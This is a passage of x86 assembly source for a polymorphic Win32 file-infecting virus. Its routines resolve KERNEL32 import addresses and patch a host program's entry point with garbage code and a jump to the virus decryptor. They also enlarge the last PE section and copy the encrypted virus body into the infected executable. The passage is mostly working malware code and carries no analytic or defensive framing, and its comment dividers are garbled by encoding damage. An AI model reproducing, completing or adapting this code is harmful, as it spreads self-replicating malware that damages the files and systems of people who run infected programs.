push eax
|
|||
|
|
|
|||
|
|
dll_loop: ;Get character from name into imports
|
|||
|
|
|
|||
|
|
lodsb
|
|||
|
|
|
|||
|
|
;Check if character is in lowercase
|
|||
|
|
|
|||
|
|
cmp al,"a"
|
|||
|
|
jb check_char
|
|||
|
|
|
|||
|
|
;Convert character to uppercase
|
|||
|
|
|
|||
|
|
sub al,("a"-"A")
|
|||
|
|
|
|||
|
|
check_char: ;Compare characters with our KERNEL32 string
|
|||
|
|
|
|||
|
|
scasb
|
|||
|
|
jne bad_dll
|
|||
|
|
|
|||
|
|
loop dll_loop
|
|||
|
|
|
|||
|
|
verify_ok: ;Name matched, get import module descriptor
|
|||
|
|
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
;Mutate RVAs
|
|||
|
|
|
|||
|
|
call mutate_rvas
|
|||
|
|
|
|||
|
|
;Avoid files with IMAGE_SCN_MEM_SHARED in its
|
|||
|
|
;last section attributes
|
|||
|
|
|
|||
|
|
call get_last_sh
|
|||
|
|
test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED
|
|||
|
|
jnz err_checkfile
|
|||
|
|
|
|||
|
|
;Set ecx != NULL (success flag)
|
|||
|
|
|
|||
|
|
xor ecx,ecx
|
|||
|
|
not ecx
|
|||
|
|
|
|||
|
|
SEH_error01: ;Remove structured exception handler
|
|||
|
|
|
|||
|
|
xor edx,edx
|
|||
|
|
pop dword ptr fs:[edx]
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
;Error, restore base address
|
|||
|
|
|
|||
|
|
pop eax
|
|||
|
|
pop ebp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
bad_dll: ;Go to next imported module descriptor
|
|||
|
|
|
|||
|
|
pop eax
|
|||
|
|
add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|||
|
|
jmp short next_imd_img
|
|||
|
|
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Find the place where PE saves some useful information
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
mutate_rvas: ;Generate a copy of the virus into a buffer
|
|||
|
|
;This copy will contain some RVAs already
|
|||
|
|
;loaded (GetModuleHandle, GetProcAddress or Kernel32
|
|||
|
|
;ID_ForwarderChain field)
|
|||
|
|
;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;ebx - Base address for file
|
|||
|
|
;edx - Section delta offset
|
|||
|
|
;edi - Kernel32 Import Module Descriptor
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;RVA's loaded into virus body (NULL if function not found)
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Copy virus to infection buffer
|
|||
|
|
|
|||
|
|
push edi
|
|||
|
|
lea esi,dword ptr [ebp+Mem_Base]
|
|||
|
|
lea edi,dword ptr [esi+mem_size]
|
|||
|
|
mov ecx,inf_size-DECRYPTOR_SIZE
|
|||
|
|
cld
|
|||
|
|
rep movsb
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
;Save rva to ID_ForwarderChain field
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [edi+ID_ForwarderChain]
|
|||
|
|
sub eax,ebx
|
|||
|
|
add eax,edx
|
|||
|
|
mov dword ptr [ebp+rva_kernel32+mem_size],eax
|
|||
|
|
|
|||
|
|
;Check if file is binded
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+a_Kernel32]
|
|||
|
|
mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
|
|||
|
|
add esi,eax
|
|||
|
|
add esi,NT_FileHeader.FH_TimeDateStamp
|
|||
|
|
lodsd
|
|||
|
|
mov esi,dword ptr [edi+ID_FirstThunk]
|
|||
|
|
sub esi,edx
|
|||
|
|
add esi,ebx
|
|||
|
|
cmp eax,dword ptr [edi+ID_TimeDateStamp]
|
|||
|
|
je binded_file
|
|||
|
|
|
|||
|
|
;esi - Import Address Table for KERNEL32
|
|||
|
|
|
|||
|
|
;Save RVA for GetModuleHandle
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
lea edi,dword ptr [ebp+szGetModuleH]
|
|||
|
|
call find_by_name
|
|||
|
|
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
|
|||
|
|
|
|||
|
|
;Save RVA for GetProcAddress
|
|||
|
|
|
|||
|
|
pop esi
|
|||
|
|
lea edi,dword ptr [ebp+szGetProcAddr]
|
|||
|
|
call find_by_name
|
|||
|
|
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
binded_file: ;esi - Import Address Table for KERNEL32
|
|||
|
|
|
|||
|
|
;Binded GetModuleHandle
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
mov edi,dword ptr [ebp+a_GetModuleH]
|
|||
|
|
call find_by_address
|
|||
|
|
mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
|
|||
|
|
|
|||
|
|
;Binded GetProcAddress
|
|||
|
|
|
|||
|
|
pop esi
|
|||
|
|
mov edi,dword ptr [ebp+a_GetProcAddr]
|
|||
|
|
call find_by_address
|
|||
|
|
mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get RVA of an API function in a binded file
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
find_by_address:;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;edx - Delta offset for last section
|
|||
|
|
;esi - Import Address Table for KERNEL32
|
|||
|
|
;edi - Function entry point
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;eax - RVA of function address (NULL if not found)
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
search_thunk: ;Check if this is the storage address
|
|||
|
|
|
|||
|
|
lodsd
|
|||
|
|
or eax,eax
|
|||
|
|
jz err_by_address
|
|||
|
|
cmp eax,edi
|
|||
|
|
jne search_thunk
|
|||
|
|
|
|||
|
|
;Calculate the offset of that thunk dword into file
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [esi-00000004h]
|
|||
|
|
sub eax,ebx
|
|||
|
|
add eax,edx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
err_by_address: xor eax,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Find RVA of a function imported by name
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
find_by_name: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;edx - Delta offset for last section
|
|||
|
|
;esi - Import Address Table for KERNEL32
|
|||
|
|
;edi - Function name
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;eax - RVA of function address (NULL if not found)
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Search for function name into IMAGE_IMPORT_BY_NAME
|
|||
|
|
;structure pointed by every dword in the thunk data array
|
|||
|
|
|
|||
|
|
loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure
|
|||
|
|
|
|||
|
|
lodsd
|
|||
|
|
or eax,eax
|
|||
|
|
jz err_by_name
|
|||
|
|
|
|||
|
|
;Get pointer to function name
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
push edi
|
|||
|
|
sub eax,edx
|
|||
|
|
lea esi,dword ptr [eax+ebx+00000002h]
|
|||
|
|
|
|||
|
|
;Compare strings
|
|||
|
|
|
|||
|
|
name_by_name: lodsb
|
|||
|
|
or al,al
|
|||
|
|
jz ok_by_name
|
|||
|
|
scasb
|
|||
|
|
je name_by_name
|
|||
|
|
|
|||
|
|
;Go to next entry into Import Address Table
|
|||
|
|
|
|||
|
|
pop edi
|
|||
|
|
pop esi
|
|||
|
|
jmp loop_by_name
|
|||
|
|
|
|||
|
|
ok_by_name: pop edi
|
|||
|
|
pop esi
|
|||
|
|
lea eax,dword ptr [esi-00000004h]
|
|||
|
|
sub eax,ebx
|
|||
|
|
add eax,edx
|
|||
|
|
err_by_name: ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Infection and mutation
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
infect_file: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;My_FindData - Win32 FindFile structure filled with data
|
|||
|
|
; about file to infect
|
|||
|
|
;eax - Base address of memory mapped image
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Get last section header
|
|||
|
|
|
|||
|
|
mov ebx,eax
|
|||
|
|
call get_last_sh
|
|||
|
|
|
|||
|
|
;ebx - Host base address
|
|||
|
|
;esi - IMAGE_OPTIONAL_HEADER
|
|||
|
|
;edi - Pointer to last section header
|
|||
|
|
|
|||
|
|
;This will help us later for calculating host base address
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
add eax,dword ptr [edi+SH_VirtualAddress]
|
|||
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|||
|
|
add eax,init_size
|
|||
|
|
mov dword ptr [ebp+fix_baseaddr+mem_size],eax
|
|||
|
|
|
|||
|
|
;Copy original code at entry point into our buffer
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
|
|||
|
|
mov dword ptr [ebp+rva_org_eip+mem_size],edx
|
|||
|
|
call RVA2RAW
|
|||
|
|
mov esi,ecx
|
|||
|
|
lea edi,dword ptr [ebp+entry_code+mem_size]
|
|||
|
|
mov ecx,BUFFER_EP
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
;Free memory mapped file
|
|||
|
|
|
|||
|
|
mov eax,ebx
|
|||
|
|
call unmap_close
|
|||
|
|
|
|||
|
|
;Add virus size to file size and re-map it
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
mov dword ptr [ebp+original_size],eax
|
|||
|
|
add eax,inf_size
|
|||
|
|
mov ecx,SIZE_PADDING
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
mul ecx
|
|||
|
|
mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
|
|||
|
|
call open_map_file
|
|||
|
|
or eax,eax
|
|||
|
|
jnz done_re_open
|
|||
|
|
stc
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
done_re_open: ;ebx - host base address all along the following code
|
|||
|
|
|
|||
|
|
mov ebx,eax
|
|||
|
|
|
|||
|
|
;Initialize poly engine register table
|
|||
|
|
;We are going to insert some garbage code at host
|
|||
|
|
;entry-point, followed by a JMP to polymorphic
|
|||
|
|
;decryptor
|
|||
|
|
;This routine will also initialize random number
|
|||
|
|
;generator
|
|||
|
|
|
|||
|
|
call init_poly
|
|||
|
|
|
|||
|
|
;Check for relocations over entry-point code
|
|||
|
|
|
|||
|
|
call get_last_sh
|
|||
|
|
mov edx,dword ptr [esi+OH_DataDirectory. \
|
|||
|
|
DE_BaseReloc. \
|
|||
|
|
DD_VirtualAddress]
|
|||
|
|
|
|||
|
|
;Lovely file, no relocations, so we cant generate
|
|||
|
|
;lots of polymorphic code at host entry-point
|
|||
|
|
|
|||
|
|
or edx,edx
|
|||
|
|
jz lovely_file
|
|||
|
|
|
|||
|
|
call RVA2RAW
|
|||
|
|
mov edi,esi
|
|||
|
|
mov esi,ecx
|
|||
|
|
|
|||
|
|
;ebx - Host base address
|
|||
|
|
;ecx - Pointer to RAW data or NULL if error
|
|||
|
|
;edx - Section delta offset
|
|||
|
|
;esi - Pointer to section RAWDATA
|
|||
|
|
;edi - Pointer to IMAGE_OPTIONAL_HEADER
|
|||
|
|
|
|||
|
|
;Check relocations over host entry-point code
|
|||
|
|
|
|||
|
|
call do_reloc_work
|
|||
|
|
|
|||
|
|
;We have space for inserting some garbage code?
|
|||
|
|
|
|||
|
|
cmp eax,00000005h
|
|||
|
|
jb fuxoring_file
|
|||
|
|
|
|||
|
|
;Another lovely file, eh?
|
|||
|
|
|
|||
|
|
cmp eax,BUFFER_EP
|
|||
|
|
jb ugly_file
|
|||
|
|
|
|||
|
|
lovely_file: ;We reach this code for 3 posible reasons:
|
|||
|
|
;
|
|||
|
|
; 1) When the target file have no relocations or...
|
|||
|
|
; 2) All the relocations are behind the entry-point or...
|
|||
|
|
; 3) We have lots space from entry-point to 1st reloc
|
|||
|
|
|
|||
|
|
;Save number of bytes to restore at host entry-point
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP
|
|||
|
|
|
|||
|
|
;Get RAW of entry-point
|
|||
|
|
|
|||
|
|
call get_last_sh
|
|||
|
|
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
|
|||
|
|
call RVA2RAW
|
|||
|
|
mov edi,ecx
|
|||
|
|
|
|||
|
|
;Generate a piece of polymorphic code at host entry-point
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
push edi
|
|||
|
|
call gen_garbage
|
|||
|
|
pop eax
|
|||
|
|
sub eax,edi
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
;Insert a jump to virus code at entry point
|
|||
|
|
|
|||
|
|
jmp short insert_jump
|
|||
|
|
|
|||
|
|
ugly_file: ;There are no relocations over first five bytes of
|
|||
|
|
;code at host entry-point
|
|||
|
|
;So we can insert a JUMP to virus polymorphic decryptor
|
|||
|
|
|
|||
|
|
;Save size of code to generate
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+insert_size+mem_size],00000005h
|
|||
|
|
|
|||
|
|
;Where to place the JUMP
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
|
|||
|
|
call RVA2RAW
|
|||
|
|
mov edi,ecx
|
|||
|
|
xor eax,eax
|
|||
|
|
|
|||
|
|
;Insert a jump to virus code at entry point
|
|||
|
|
|
|||
|
|
insert_jump: push eax
|
|||
|
|
mov al,0E9h
|
|||
|
|
stosb
|
|||
|
|
push edi
|
|||
|
|
call get_last_sh
|
|||
|
|
mov eax,dword ptr [ebp+original_size]
|
|||
|
|
add eax,poly_decryptor-Mem_Base
|
|||
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|||
|
|
add eax,dword ptr [edi+SH_VirtualAddress]
|
|||
|
|
sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
|
|||
|
|
sub eax,00000005h
|
|||
|
|
pop edi
|
|||
|
|
pop edx
|
|||
|
|
add eax,edx
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
;Execution continues on next routine
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Attach virus to file
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
back2infection: ;We fall here after the entry-point stuff
|
|||
|
|
;Complete infection and do polymorphic encryption
|
|||
|
|
|
|||
|
|
;Save current system time inside virus body
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+inf_time+mem_size]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_GetSysTime]
|
|||
|
|
|
|||
|
|
;Generate polymorphic encryption
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
call mutate
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
;Get pointer to last section
|
|||
|
|
|
|||
|
|
call get_last_sh
|
|||
|
|
|
|||
|
|
;ebx - Host base address
|
|||
|
|
;esi - IMAGE_OPTIONAL_HEADER
|
|||
|
|
;edi - Pointer to last section header
|
|||
|
|
|
|||
|
|
;Get new SizeOfRawData and VirtualSize
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
add eax,mem_size-inf_size
|
|||
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|||
|
|
mov edx,eax
|
|||
|
|
cmp eax,dword ptr [edi+SH_VirtualSize]
|
|||
|
|
jbe ok_VirtualSize
|
|||
|
|
mov dword ptr [edi+SH_VirtualSize],eax
|
|||
|
|
ok_VirtualSize: mov eax,edx
|
|||
|
|
xor edx,edx
|
|||
|
|
mov ecx,dword ptr [esi+OH_FileAlignment]
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
mul ecx
|
|||
|
|
mov dword ptr [edi+SH_SizeOfRawData],eax
|
|||
|
|
|
|||
|
|
;Set section characteristics
|
|||
|
|
|
|||
|
|
or dword ptr [edi+SH_Characteristics], \
|
|||
|
|
IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
|
|||
|
|
|
|||
|
|
;Update OH_SizeOfImage
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
mov edx,dword ptr [esi+OH_SizeOfImage]
|
|||
|
|
cmp eax,edx
|
|||
|
|
jae done_image_s
|
|||
|
|
lea eax,dword ptr [edx+mem_size]
|
|||
|
|
done_image_s: xor edx,edx
|
|||
|
|
mov ecx,dword ptr [esi+OH_SectionAlignment]
|
|||
|
|
div ecx
|
|||
|
|
inc eax
|
|||
|
|
mul ecx
|
|||
|
|
mov dword ptr [esi+OH_SizeOfImage],eax
|
|||
|
|
|
|||
|
|
;Write virus into memory mapped file
|
|||
|
|
|
|||
|
|
mov ecx,inf_size
|
|||
|
|
lea esi,dword ptr [ebp+Mem_Base+mem_size]
|
|||
|
|
mov edi,ebx
|
|||
|
|
add edi,dword ptr [ebp+original_size]
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
;Free memory mapped file
|
|||
|
|
|
|||
|
|
mov eax,ebx
|
|||
|
|
call unmap_close
|
|||
|
|
|
|||
|
|
;Exit, file is infected
|
|||
|
|
|
|||
|
|
clc
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get RAW of entry
|
|||
|
|
